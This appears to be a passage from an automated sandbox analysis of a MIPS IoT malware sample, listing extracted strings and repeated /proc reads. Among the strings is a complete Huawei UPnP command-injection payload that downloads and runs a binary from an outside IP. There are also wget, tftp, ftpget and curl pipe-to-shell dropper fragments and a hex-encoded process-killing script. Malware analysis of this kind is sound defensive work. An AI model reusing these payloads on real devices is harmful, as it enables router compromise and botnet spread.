Source: Initial sample |
String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 178.215.238.13 -l /tmp/.unstable -r /bin.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox |
Source: Initial sample |
String containing 'busybox' found: usage: busybox |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox hostname PBOC |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox echo > |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox echo -ne |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox wget http:// |
Source: Initial sample |
String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g |
Source: Initial sample |
String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep |
Source: Initial sample |
String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busyboxreps.check-host.co/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0 |
Source: Initial sample |
String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mpslppcspcsh4 |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/3640/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/3640/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/230/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/230/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/110/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/110/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/231/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/231/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/111/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/111/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/232/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/232/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/112/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/112/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/233/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/233/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/113/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/113/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/234/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/234/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/114/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/114/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/235/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/235/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/115/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/115/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/236/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/236/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/116/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/116/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/237/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/237/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/117/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/117/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/238/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/238/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/118/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/118/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/239/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/239/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/119/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/119/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/914/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/914/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/10/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/10/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/917/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/917/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/11/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/11/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/12/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/12/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/13/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/13/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/14/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/14/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/15/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/15/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/16/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/16/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/17/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/17/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/18/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/18/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/19/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/19/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/240/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/240/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/3095/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/3095/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/120/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/120/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/241/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/241/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/121/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/121/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/242/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/242/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/1/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/1/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/122/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/122/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/243/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/243/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/2/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/2/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/123/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/123/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/244/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/244/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/3/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/3/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/124/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/124/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/245/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/245/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/1588/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/1588/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/125/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/125/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/4/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/4/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/246/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/246/cmdline |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/126/stat |
Jump to behavior |
Source: /tmp/bin.mips.elf (PID: 5458) |
File opened: /proc/126/cmdline |
Jump to behavior |
Source: bin.mips.elf, 5458.1.000055b5077dd000.000055b5078a4000.rw-.sdmp, bin.mips.elf, 5482.1.000055b5077dd000.000055b507884000.rw-.sdmp, bin.mips.elf, 5484.1.000055b5077dd000.000055b507884000.rw-.sdmp |
Binary or memory string: U!/etc/qemu-binfmt/mips |
Source: bin.mips.elf, 5458.1.000055b5077dd000.000055b5078a4000.rw-.sdmp, bin.mips.elf, 5482.1.000055b5077dd000.000055b507884000.rw-.sdmp, bin.mips.elf, 5484.1.000055b5077dd000.000055b507884000.rw-.sdmp |
Binary or memory string: /etc/qemu-binfmt/mips |
Source: bin.mips.elf, 5458.1.00007fff94225000.00007fff94246000.rw-.sdmp, bin.mips.elf, 5482.1.00007fff94225000.00007fff94246000.rw-.sdmp, bin.mips.elf, 5484.1.00007fff94225000.00007fff94246000.rw-.sdmp |
Binary or memory string: #x86_64/usr/bin/qemu-mips/tmp/bin.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/bin.mips.elf |
Source: bin.mips.elf, 5458.1.00007fff94225000.00007fff94246000.rw-.sdmp, bin.mips.elf, 5482.1.00007fff94225000.00007fff94246000.rw-.sdmp, bin.mips.elf, 5484.1.00007fff94225000.00007fff94246000.rw-.sdmp |
Binary or memory string: /usr/bin/qemu-mips |